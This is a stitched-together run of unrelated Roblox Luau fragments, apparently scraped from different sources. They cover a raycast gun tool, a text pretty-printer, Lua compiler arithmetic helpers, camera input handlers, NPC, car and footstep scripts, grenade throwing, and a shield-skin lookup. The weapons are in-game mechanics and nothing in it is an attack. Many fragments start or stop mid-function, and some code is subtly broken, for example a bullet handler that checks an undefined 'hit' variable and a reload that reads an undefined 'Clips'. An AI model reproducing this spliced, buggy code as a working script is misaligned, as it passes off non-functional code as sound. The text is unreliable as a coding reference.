function GunObject:Initialize() self.Fire=WaitForChild(self.Handle, 'Fire') self.Ammo = self.Tool:FindFirstChild("Ammo") if self.Ammo ~= nil then self.Ammo.Value = self.ClipSize end self.Clips = self.Tool:FindFirstChild("Clips") if self.Clips ~= nil then self.Clips.Value = self.StartingClips end self.Tool.Equipped:connect(function() self.Tool.Handle.Fire:Stop() self.Tool.Handle.Reload:Stop() end) self.Tool.Unequipped:connect(function() self.Tool.Handle.Fire:Stop() self.Tool.Handle.Reload:Stop() end) self.LaserObj = Instance.new("Part") self.LaserObj.Name = "Bullet" self.LaserObj.Anchored = true self.LaserObj.CanCollide = false self.LaserObj.Shape = "Block" self.LaserObj.formFactor = "Custom" self.LaserObj.Material = Enum.Material.Plastic self.LaserObj.Locked = true self.LaserObj.TopSurface = 0 self.LaserObj.BottomSurface = 0 local tSparkEffect = Instance.new("Part") tSparkEffect.Name = "Effect" tSparkEffect.Anchored = false tSparkEffect.CanCollide = false tSparkEffect.Shape = "Block" tSparkEffect.formFactor = "Custom" tSparkEffect.Material = Enum.Material.Plastic tSparkEffect.Locked = true tSparkEffect.TopSurface = 0 tSparkEffect.BottomSurface = 0 self.SparkEffect=tSparkEffect local tshell = Instance.new('Part') tshell.Name='effect' tshell.FormFactor='Custom' tshell.Size=Vector3.new(1, 0.4, 0.33) tshell.BrickColor=BrickColor.new('Bright yellow') local tshellmesh=WaitForChild(script.Parent,'BulletMesh'):Clone() tshellmesh.Parent=tshell self.ShellPart = tshell self.DownVal.Changed:connect(function() while self.DownVal.Value and self.check and not self.Reloading do self.check = false local humanoid = self.Tool.Parent:FindFirstChild("Humanoid") local plr1 = game.Players:GetPlayerFromCharacter(self.Tool.Parent) if humanoid ~= nil and plr1 ~= nil then if humanoid.Health > 0 then local spos1 = (self.Tool.Handle.CFrame * self.BarrelPos).p delay(0, function() self:SendBullet(spos1, self.AimVal.Value, self.Spread, self.SegmentLength, self.Tool.Parent, self.Colors[1], self.GunDamage, self.FadeDelayTime) end) else self.check = true break end else self.check = true break end wait(self.FireRate) self.check = true if not self.Automatic then break end end end) self.ReloadingVal.Changed:connect(function() if self.ReloadingVal.Value then self:Reload() end end) end function GunObject:Reload() self.Reloading = true self.ReloadingVal.Value = true if self.Clips ~= nil then if self.Clips.Value > 0 then self.Clips.Value = Clips.Value - 1 else self.Reloading = false self.ReloadingVal.Value = false return end end self.Tool.Handle.Reload:Play() for i = 1, self.ClipSize do wait(self.ReloadTime/self.ClipSize) self.Ammo.Value = i end self.Reloading = false self.Tool.Reloading.Value = false end function GunObject:SpawnShell() local tshell=self.ShellPart:Clone() tshell.CFrame=self.Handle.CFrame tshell.Parent=Workspace game.Debris:AddItem(tshell,2) end function KnockOffHats(tchar) for _,i in pairs(tchar:GetChildren()) do if i:IsA('Hat') then i.Parent=game.Workspace end end end function KnockOffTool(tchar) for _,i in pairs(tchar:GetChildren()) do if i:IsA('Tool') then i.Parent=game.Workspace end end end function GunObject:SendBullet(boltstart, targetpos, fuzzyness, SegmentLength, ignore, clr, damage, fadedelay) if self.Ammo.Value <=0 then return end self.Ammo.Value = self.Ammo.Value - 1 self:SpawnShell() self.Fire.Pitch = (math.random() * .5) + .75 self.Fire:Play() self.DoFireAni.Value = not self.DoFireAni.Value print(self.Fire.Pitch) local boltdist = self.Range local clickdist = (boltstart - targetpos).magnitude local targetpos = targetpos + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * (clickdist/100) * fuzzyness) local boltvec = (targetpos - boltstart).unit local totalsegments = math.ceil(boltdist/SegmentLength) local lastpos = boltstart for i = 1, totalsegments do local newpos = (boltstart + (boltvec * (boltdist * (i/totalsegments)))) local segvec = (newpos - lastpos).unit local boltlength = (newpos - lastpos).magnitude local bolthit, endpos = CastRay(lastpos, segvec, boltlength, ignore, false) DrawBeam(lastpos, endpos, clr, fadedelay, self.LaserObj) if bolthit ~= nil then local h = bolthit.Parent:FindFirstChild("Humanoid") if h ~= nil then local plr = game.Players:GetPlayerFromCharacter(self.Tool.Parent) if plr ~= nil then local creator = Instance.new("ObjectValue") creator.Name = "creator" creator.Value = plr creator.Parent = h end if hit.Parent:FindFirstChild("BlockShot") then hit.Parent:FindFirstChild("BlockShot"):Fire(newpos) delay(0, function() self:HitEffect(endpos, BrickColor.new('Medium stone grey'),5) end) else if(hit.Name=='Head') then KnockOffHats(hit.Parent) end if GoreOn then delay(0,function() self:HitEffect(endpos, BrickColor.new('Bright red'),20) end) end h:TakeDamage(damage) end else delay(0, function() self:HitEffect(endpos, BrickColor.new('Medium stone grey'),5) end) end break end lastpos = endpos wait(Rate) end if self.Ammo.Value < 1 then self:Reload() end end function GunObject:MakeSpark(pos,tcolor) local effect=self.SparkEffect:Clone() effect.BrickColor = tcolor effect.CFrame = CFrame.new(pos) effect.Parent = game.Workspace local effectVel = Instance.new("BodyVelocity") effectVel.maxForce = Vector3.new(99999, 99999, 99999) effectVel.velocity = Vector3.new(math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10))) effectVel.Parent = effect effect.Size = Vector3.new(math.abs(effectVel.velocity.x)/30, math.abs(effectVel.velocity.y)/30, math.abs(effectVel.velocity.z)/30) wait() effectVel:Destroy() local effecttime = .5 game.Debris:AddItem(effect, effecttime * 2) local startTime = time() while time() - startTime < effecttime do if effect ~= nil then effect.Transparency = (time() - startTime)/effecttime end wait() end if effect ~= nil then effect.Parent = nil end end function GunObject:HitEffect(pos,tcolor,numSparks) for i = 0, numSparks, 1 do Spawn(function() self:MakeSpark(pos,tcolor) end) end end
--And it's done. If there's anything wrong with this button, PM me.
-- Return empty string if children is empty.
function printChildren( children: Array<unknown>, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer ): string return Array.join( Array.map(children, function(child) return config.spacingOuter .. indentation .. if typeof(child) == "string" then printText(child, config) else printer(child, config, indentation, depth, refs) end), "" ) end exports.printChildren = printChildren function printText(text: string, config: Config): string -- ROBLOX deviation START: adding default value as we don't support colors local colors = config.colors or DEFAULT_COLORS local contentColor = colors.content -- ROBLOX deviation END return contentColor.open .. escapeHTML(text) .. contentColor.close end exports.printText = printText function printComment(comment: string, config: Config): string -- ROBLOX deviation START: adding default value as we don't support colors local colors = config.colors or DEFAULT_COLORS local commentColor = colors.comment -- ROBLOX deviation END return commentColor.open .. "<!--" .. escapeHTML(comment) .. "-->" .. commentColor.close end exports.printComment = printComment
-- Change cooldown based on speed
humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function() if humanoid.WalkSpeed <= 7 then cooldown = 0.4 else cooldown = 0.325 end end)
------------------------------------------------------------------------ -- The luai_num* macros define the primitive operations over numbers. -- * this is not the entire set of primitive operations from luaconf.h -- * used in luaK:constfolding() ------------------------------------------------------------------------
function luaK:numadd(a, b) return a + b end function luaK:numsub(a, b) return a - b end function luaK:nummul(a, b) return a * b end function luaK:numdiv(a, b) return a / b end function luaK:nummod(a, b) return a % b end -- ((a) - floor((a)/(b))*(b)) /* actual, for reference */ function luaK:numpow(a, b) return a ^ b end function luaK:numunm(a) return -a end function luaK:numisnan(a) return not a == a end -- a NaN cannot equal another NaN
--[[-------------------------------------------------------------------- masks for instruction properties. The format is: bits 0-1: op mode bits 2-3: C arg mode bits 4-5: B arg mode bit 6: instruction set register A bit 7: operator is a test for OpArgMask: OpArgN - argument is not used OpArgU - argument is used OpArgR - argument is a register or a jump offset OpArgK - argument is a constant or register/constant ----------------------------------------------------------------------]]
-- Public methods
function CameraModifier:Destroy() self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior end
-- if self.L3ButtonDown then -- -- L3 Thumbstick is depressed, right stick controls dolly in/out -- if (input.Position.Y > THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 0.96 -- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 1.04 -- else -- self.currentZoomSpeed = 1.00 -- end -- else
if state == Enum.UserInputState.Cancel then self.gamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else self.gamepadPanningCamera = ZERO_VECTOR2 end --end if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Sink end end if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Pass end end function BaseCamera:DoKeyboardPanTurn(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state == Enum.UserInputState.Cancel then self.turningLeft = false self.turningRight = false return Enum.ContextActionResult.Sink end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then self.turningLeft = state == Enum.UserInputState.Begin elseif input.KeyCode == Enum.KeyCode.Right then self.turningRight = state == Enum.UserInputState.Begin end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoPanRotateCamera(rotateAngle) local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25) if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(angle, 0) self.lastUserPanCamera = tick() self.lastCameraTransform = nil end end function BaseCamera:DoKeyboardPan(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Comma then self:DoPanRotateCamera(-math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.Period then self:DoPanRotateCamera(math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.PageUp then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15)) self.lastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15)) self.lastCameraTransform = nil end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoGamepadZoom(name, state, input) if input.UserInputType == self.activeGamepad then if input.KeyCode == Enum.KeyCode.ButtonR3 then if state == Enum.UserInputState.Begin then if self.distanceChangeEnabled then if self:GetCameraToSubjectDistance() > 0.5 then self:SetCameraToSubjectDistance(0) else self:SetCameraToSubjectDistance(10) end end end elseif input.KeyCode == Enum.KeyCode.DPadLeft then self.dpadLeftDown = (state == Enum.UserInputState.Begin) elseif input.KeyCode == Enum.KeyCode.DPadRight then self.dpadRightDown = (state == Enum.UserInputState.Begin) end if self.dpadLeftDown then self.currentZoomSpeed = 1.04 elseif self.dpadRightDown then self.currentZoomSpeed = 0.96 else self.currentZoomSpeed = 1.00 end if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Sink end end if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Pass end
--[[ Modules ]]
-- local ClickToMoveTouchControls = nil local ControlModules = {} local ControlState = {} ControlState.Current = nil function ControlState:SwitchTo(newControl) if ControlState.Current == newControl then return end if ControlState.Current then ControlState.Current:Disable() end ControlState.Current = newControl if ControlState.Current then ControlState.Current:Enable() end end function ControlState:IsTouchJumpModuleUsed() return isJumpEnabled end local MasterControl = require(script:WaitForChild('MasterControl'))
-- server script inside the NPC model
local humanoid = script.Parent:WaitForChild("Humanoid") local function onDied() for _, part in ipairs(script.Parent:GetChildren()) do if part:IsA("BasePart") then part.Transparency = 1 part.Anchored = true end end end humanoid.Died:Connect(onDied)
-- Get sound id
local get_material = function() local soundTable = footstepModule:GetTableFromMaterial(humanoid.FloorMaterial) local randomSound = footstepModule:GetRandomSound(soundTable) return randomSound end
--Scripted by DermonDarble
local car = script.Parent local stats = car.Configurations local Raycast = require(script.RaycastModule) local HasDriver = false local mass = 0 for i, v in pairs(car:GetChildren()) do if v:IsA("BasePart") then mass = mass + (v:GetMass() * 196.2) end end local bodyPosition = car.Chassis.BodyPosition local bodyGyro = car.Chassis.BodyGyro
--------------------[ GRENADE FUNCTIONS ]---------------------------------------------
function CreateGrenade() local Grenade = Instance.new("Model") local Center = Instance.new("Part") Center.BrickColor = S.GrenadeColor Center.Name = "Center" Center.CanCollide = false Center.Elasticity = 0 Center.FormFactor = Enum.FormFactor.Custom Center.Size = S.GrenadeSize Center.BottomSurface = Enum.SurfaceType.Smooth Center.TopSurface = Enum.SurfaceType.Smooth Center.Parent = Grenade local Mesh1 = Instance.new("SpecialMesh") Mesh1.MeshType = Enum.MeshType.Sphere Mesh1.Parent = Center return Grenade end function CreateKnife() local Knife = Instance.new("Part") Knife.BrickColor = S.GrenadeColor Knife.Name = "Knife" Knife.CanCollide = false Knife.FormFactor = Enum.FormFactor.Custom Knife.Size = VEC3(1, 1, 3) local Mesh = Instance.new("SpecialMesh") Mesh.MeshId = "http://www.roblox.com/asset/?id=12221720" Mesh.MeshType = Enum.MeshType.FileMesh Mesh.Scale = VEC3(0.5, 0.5, 0.5) Mesh.Parent = Knife return Knife end function CreateTarget() local Target = Instance.new("Model") local Center = Instance.new("Part") Center.BrickColor = BrickColor.new("Bright red") Center.Material = Enum.Material.SmoothPlastic Center.Transparency = 0.3 Center.Name = "Center" Center.Anchored = true Center.CanCollide = false Center.FormFactor = Enum.FormFactor.Custom Center.Size = VEC3(4, 0.2, 4) Center.Parent = Target local CylinderMesh = Instance.new("CylinderMesh") CylinderMesh.Parent = Center local Line = Instance.new("Part") Line.BrickColor = BrickColor.new("Bright red") Line.Transparency = 0.3 Line.Name = "Line" Line.CFrame = Center.CFrame * CFrame.new(0, 5.1, 0) Line.Anchored = true Line.CanCollide = false Line.FormFactor = Enum.FormFactor.Custom Line.Size = VEC3(0.4, 10, 0.4) Line.BottomSurface = Enum.SurfaceType.Smooth Line.TopSurface = Enum.SurfaceType.Smooth Line.Parent = Target return Target end function DetonateExplosive(Grenade) CreateShockwave(Grenade.Position, S.GrenadeBlastRadius) local GrenadePos = Grenade.Position local E = Instance.new("Explosion") E.BlastPressure = S.GrenadeBlastPressure E.BlastRadius = S.GrenadeBlastRadius E.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1) E.ExplosionType = S.GrenadeExplosionType E.Position = GrenadePos E.Hit:connect(function(HObj, HDist) if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then if S.GrenadeRangeBasedDamage then local ClosestPart = nil local ClosestDist = math.huge for _, P in pairs(HObj.Parent:GetChildren()) do if P:IsA("BasePart") then local Dist = (GrenadePos - P.Position).magnitude if Dist < ClosestDist then ClosestPart = P ClosestDist = Dist end end end local Dir = (ClosestPart.Position - GrenadePos).unit local H, P = AdvRayCast(GrenadePos, Dir, 999) local RayHitHuman = H:IsDescendantOf(HObj.Parent) if (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid") if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then local DistFactor = ClosestDist / S.GrenadeBlastRadius local DistInvert = math.max(1 - DistFactor,0) local NewDamage = DistInvert * S.LethalGrenadeDamage local CreatorTag = Instance.new("ObjectValue") CreatorTag.Value = Player CreatorTag.Name = "creator" CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(NewDamage) MarkHit() end end else local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid") if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Value = Player CreatorTag.Name = "creator" CreatorTag.Parent = HitHumanoid MarkHit() end end end end) E.Parent = game.Workspace wait() Grenade.Parent:Destroy() end function DetonateSmoke(Grenade) CreateShockwave(Grenade.Position, S.GrenadeEffectRadius) local GrenadePos = Grenade.Position spawn(function() for i = 1, math.floor(S.GrenadeEffectRadius / 5) + RAND(5, 10) do local Size = RAND(S.GrenadeEffectRadius * 0.6, S.GrenadeEffectRadius * 0.8) local Dist = RAND(0, S.GrenadeEffectRadius - Size) local XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10)) local RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector local Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist)) local Smoke = Instance.new("Part") Smoke.Transparency = 1 Smoke.Name = "Smoke" Smoke.Anchored = true Smoke.CanCollide = false Smoke.FormFactor = Enum.FormFactor.Symmetric Smoke.Size = VEC3(1, 1, 1) Smoke.TopSurface = Enum.SurfaceType.Smooth Smoke.BottomSurface = Enum.SurfaceType.Smooth local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.Sphere Mesh.Scale = VEC3(Size, Size, Size) Mesh.Parent = Smoke Smoke.Parent = Gun_Ignore Smoke.CFrame = CF(Pos) spawn(function() local Trans = RAND(0.3, 0.5, 0.01) for X = 0, 90, 2 do Smoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X))) Smoke.Transparency = NumLerp(1, Trans, Sine(X)) RS:wait() end wait(S.GrenadeEffectTime) for X = 0, 90, 0.5 do Smoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X)))) Smoke.Transparency = NumLerp(Trans, 1, Sine(X)) RS:wait() end Smoke:Destroy() end) if i % 3 == 0 then RS:wait() end end end) wait() Grenade.Parent:Destroy() end function ThrowGrenade(Type) local Grenade0 = nil if S.TrajectoryAssist then spawn(function() local X = 0 local Vel = (Type == 1 and S.LethalGrenadeThrowVelocity or S.TacticalGrenadeThrowVelocity) local GetX = function(Ang, T) local Vx = Vel * math.cos(Ang) return Vx * T end local GetY = function(Ang, T) local V0y = Vel * math.sin(Ang) local Vy = V0y + (-196.2 * T) return (Vy * T) - (-98.1 * T * T) end local Target = CreateTarget() Target.Parent = game.Workspace Target.PrimaryPart = Target:WaitForChild("Center") while (Keys[S.LethalGrenadeKey] or Keys[S.TacticalGrenadeKey]) and Selected do X = X + math.rad(10) for _,v in pairs(Target:GetChildren()) do v.Transparency = 0.2 + ((math.sin(X) + 1) / 5) end local Lines = {} local LastX, LastY = nil, nil for T = 0, 10, 0.1 do local XPos = GetX(math.rad(7) - HeadRot, T) local YPos = GetY(math.rad(7) - HeadRot, T) if LastX and LastY then local LookV3 = HRP.CFrame.lookVector local LastPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * LastX) + VEC3(0, LastY, 0) local NewPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * XPos) + VEC3(0, YPos, 0) local LineCF = CF(LastPos, NewPos) local Dist = (LastPos - NewPos).magnitude local NewDist = Dist local H, P = AdvRayCast(LastPos, (NewPos - LastPos), 1, {Camera, unpack(Ignore)}) if H then NewDist = (P - LastPos).magnitude local SurfaceCF = GetHitSurfaceCFrame(P, H) local SurfaceDir = CF(H.CFrame.p, SurfaceCF.p) local SurfaceDist = SurfaceDir.lookVector * (H.CFrame.p - SurfaceCF.p).magnitude / 2 local SurfaceOffset = P - SurfaceCF.p + SurfaceDist local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset Target:SetPrimaryPartCFrame(SurfaceCFrame * CFANG(RAD(-90), 0, 0)) Target.Parent = Camera else Target.Parent = nil end local Line = Instance.new("Part") Line.BrickColor = BrickColor.Red() Line.Material = Enum.Material.SmoothPlastic Line.Transparency = 0.2 + ((math.sin(X) + 1) / 5) Line.Anchored = true Line.CanCollide = false Line.FormFactor = Enum.FormFactor.Custom Line.Size = Vector3.new(0.4, 0.4, NewDist) Line.TopSurface = Enum.SurfaceType.Smooth Line.BottomSurface = Enum.SurfaceType.Smooth Line.CFrame = LineCF + (LineCF.lookVector * NewDist / 2) Line.Parent = Camera table.insert(Lines, Line) LastX,LastY = XPos,YPos if H then break end else LastX,LastY = XPos,YPos end end wait() for _,Line in pairs(Lines) do Line:Destroy() end end Target:Destroy() end) end local AnimTable = { function() TweenJoint(LWeld, CF(-1.5, 0, 0), CF(0, 0.6, 0), Linear, 0.2) TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.2) wait(0.3) end; function() Grip.Part0 = Torso Grip.C1 = CF(-1, 0.5, -0.5) if S.LethalGrenadeType == 3 and Type == 1 then Grenade0 = CreateKnife() Grenade0.Parent = Gun_Ignore local Weld = Instance.new("Weld") Weld.Part0 = FakeRArm Weld.Part1 = Grenade0 Weld.C0 = Grip.C0 Weld.C1 = CF(0, 0, -0.5) * CFANG(RAD(90), RAD(90), 0) Weld.Parent = Grenade0 TweenJoint(LWeld2, CF(), CF(), Sine, 0.3) TweenJoint(RWeld2, CF(), CF(), Sine, 0.3) TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3) TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3) wait(0.3) else Grenade0 = CreateGrenade() Grenade0.Parent = Gun_Ignore local Weld = Instance.new("Weld") Weld.Part0 = FakeRArm Weld.Part1 = Grenade0:WaitForChild("Center") Weld.C0 = Grip.C0 Weld.Parent = Grenade0:WaitForChild("Center") TweenJoint(LWeld2, CF(), CFANG(0, RAD(80), 0), Linear, 0.25) TweenJoint(RWeld2, CF(), CFANG(0, RAD(-80), 0), Linear, 0.25) TweenJoint(LWeld, ArmC0[1], CF(-0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(-30)), Linear, 0.25) TweenJoint(RWeld, ArmC0[2], CF(0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(30)), Linear, 0.25) wait(0.3) end end; function() repeat wait() until (not Keys[S.LethalGrenadeKey]) and (not Keys[S.TacticalGrenadeKey]) or (not Selected) end; function() if S.LethalGrenadeType ~= 3 or Type == 2 then TweenJoint(LWeld2, CF(), CFANG(0, RAD(45), 0), Sine, 0.2) TweenJoint(RWeld2, CF(), CFANG(0, RAD(-45), 0), Sine, 0.2) TweenJoint(LWeld, ArmC0[1], CF(0, 0.8, 0.1), Sine, 0.2) TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1), Sine, 0.2) wait(0.2) end end; function() if S.LethalGrenadeType ~= 3 or Type == 2 then TweenJoint(LWeld2, CF(), CF(), Sine, 0.3) TweenJoint(RWeld2, CF(), CF(), Sine, 0.3) TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3) TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3) wait(0.3) end end; function() TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1) * CFANG(RAD(-10), 0, 0), Sine, 0.1) wait(0.07) end; function() local Main = nil Grenade0:Destroy() if S.LethalGrenadeType == 3 and Type == 1 then local Grenade1 = CreateKnife() Main = Grenade1 Grenade1.Parent = Gun_Ignore Main.CFrame = FakeRArm.CFrame * Grip.C0 * CF(0, 0.5, 0) * CFANG(RAD(-90), 0, RAD(90)) Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity) Main.RotVelocity = (Main.CFrame * CFANG(RAD(90), 0, 0)).lookVector * 20 else local Grenade1 = CreateGrenade() Main = Grenade1:WaitForChild("Center") local Sound = Instance.new("Sound") Sound.SoundId = (Type == 1 and S.ExplosionSound or "rbxassetid://156283116") Sound.Volume = 1 Sound.PlayOnRemove = true Sound.Parent = Main Grenade1.Parent = Gun_Ignore Main.CanCollide = true Main.CFrame = FakeRArm.CFrame * Grip.C0 if Type == 1 then Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity) elseif Type == 2 then Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.TacticalGrenadeThrowVelocity) end end spawn(function() if Type == 1 then if S.LethalGrenadeType == 1 then if S.TimerStartOnHit then local Detonated = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end Main.Velocity = Main.Velocity / 4 Detonated = true wait(S.DetonationTime) DetonateExplosive(Main) end) else spawn(function() local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true Main.Velocity = Main.Velocity / 4 end) end) wait(S.DetonationTime) DetonateExplosive(Main) end elseif S.LethalGrenadeType == 2 then local Detonated = false local GrenadeCF = nil Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end GrenadeCF = Main.CFrame local W = Instance.new("Weld") W.Name = "Semtex" W.Part0 = Main W.Part1 = Obj W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame) W.Parent = Main Main.ChildRemoved:connect(function(C) if C.Name == "Semtex" then local W = Instance.new("Weld") W.Name = "Semtex" W.Part0 = Main W.Part1 = Obj W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame) W.Parent = Main end end) if S.TimerStartOnHit then Detonated = true wait(S.DetonationTime) DetonateExplosive(Main) end end) if (not S.TimerStartOnHit) then wait(S.DetonationTime) Detonated = true DetonateExplosive(Main) end elseif S.LethalGrenadeType == 3 then local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true local W = Instance.new("Weld") W.Name = "Sticky" W.Part0 = Main W.Part1 = Obj W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame) W.Parent = Main Main.ChildRemoved:connect(function(C) if C.Name == "Sticky" then local W = Instance.new("Weld") W.Name = "Sticky" W.Part0 = Main W.Part1 = Obj W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame) W.Parent = Main end end) if Obj then if Obj.Parent.ClassName == "Hat" then local HitHumanoid = FindFirstClass(Obj.Parent.Parent, "Humanoid") if HitHumanoid and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Name = "creator" CreatorTag.Value = Player CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(HitHumanoid.MaxHealth) MarkHit() end else local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid") if HitHumanoid and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Name = "creator" CreatorTag.Value = Player CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(HitHumanoid.MaxHealth) MarkHit() end end end wait(3) Main:Destroy() end) end elseif Type == 2 then if S.TacticalGrenadeType == 1 then if S.TimerStartOnHit then local Detonated = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Detonated then return end Main.Velocity = Main.Velocity / 2 Detonated = true wait(S.DetonationTime) DetonateSmoke(Main) end) else spawn(function() local Touched = false Main.Touched:connect(function(Obj) if IsIgnored(Obj) or Touched then return end Touched = true Main.Velocity = Main.Velocity / 2 end) end) wait(S.DetonationTime) DetonateSmoke(Main) end end end end) if S.GrenadeTrail and S.GrenadeTrailTransparency ~= 1 then spawn(function() local LastPos = nil while true do if LastPos then if (not Main:IsDescendantOf(game)) or (Main.Name == "Knife" and FindFirstClass(Main, "Weld")) then break end local Trail = Instance.new("Part") Trail.BrickColor = S.GrenadeTrailColor Trail.Transparency = S.GrenadeTrailTransparency Trail.Anchored = true Trail.CanCollide = false Trail.Size = VEC3(1, 1, 1) local Mesh = Instance.new("BlockMesh") Mesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2) Mesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude) Mesh.Parent = Trail Trail.Parent = Gun_Ignore Trail.CFrame = CF(LastPos, Main.Position) delay(S.GrenadeTrailVisibleTime, function() if S.GrenadeTrailDisappearTime > 0 then local X = 0 while true do if X == 90 then break end if (not Selected) then break end local NewX = X + (1.5 / S.GrenadeTrailDisappearTime) X = (NewX > 90 and 90 or NewX) local Alpha = X / 90 Trail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha) RS:wait() end Trail:Destroy() else Trail:Destroy() end end) LastPos = Main.Position else LastPos = Main.Position end RS:wait() end end) end wait(0.2) end; function() TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2) wait(0.3) end; function() Grip.Part0 = RArm Grip.C1 = CFANG(0, RAD(20), 0) TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.2) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.2) wait(0.2) end; } for _,F in pairs(AnimTable) do if (not Selected) then break end F() end if (not Selected) and Grenade0 then Grenade0:Destroy() end end
--
function module:GetShieldSkin(Skin) local inv = game.ReplicatedStorage.Inventory.Shields for i,v in pairs(inv.Common:GetChildren()) do if v.Name == Skin then return v.Value else for i,v in pairs(inv.Rare:GetChildren()) do if v.Name == Skin then return v.Value else for i,v in pairs(inv.Epic:GetChildren()) do if v.Name == Skin then return v.Value else for i,v in pairs(inv.Legendary:GetChildren()) do if v.Name == Skin then return v.Value else print("Couldn't find the skin info") return nil end end end end end end end end end
-- Events
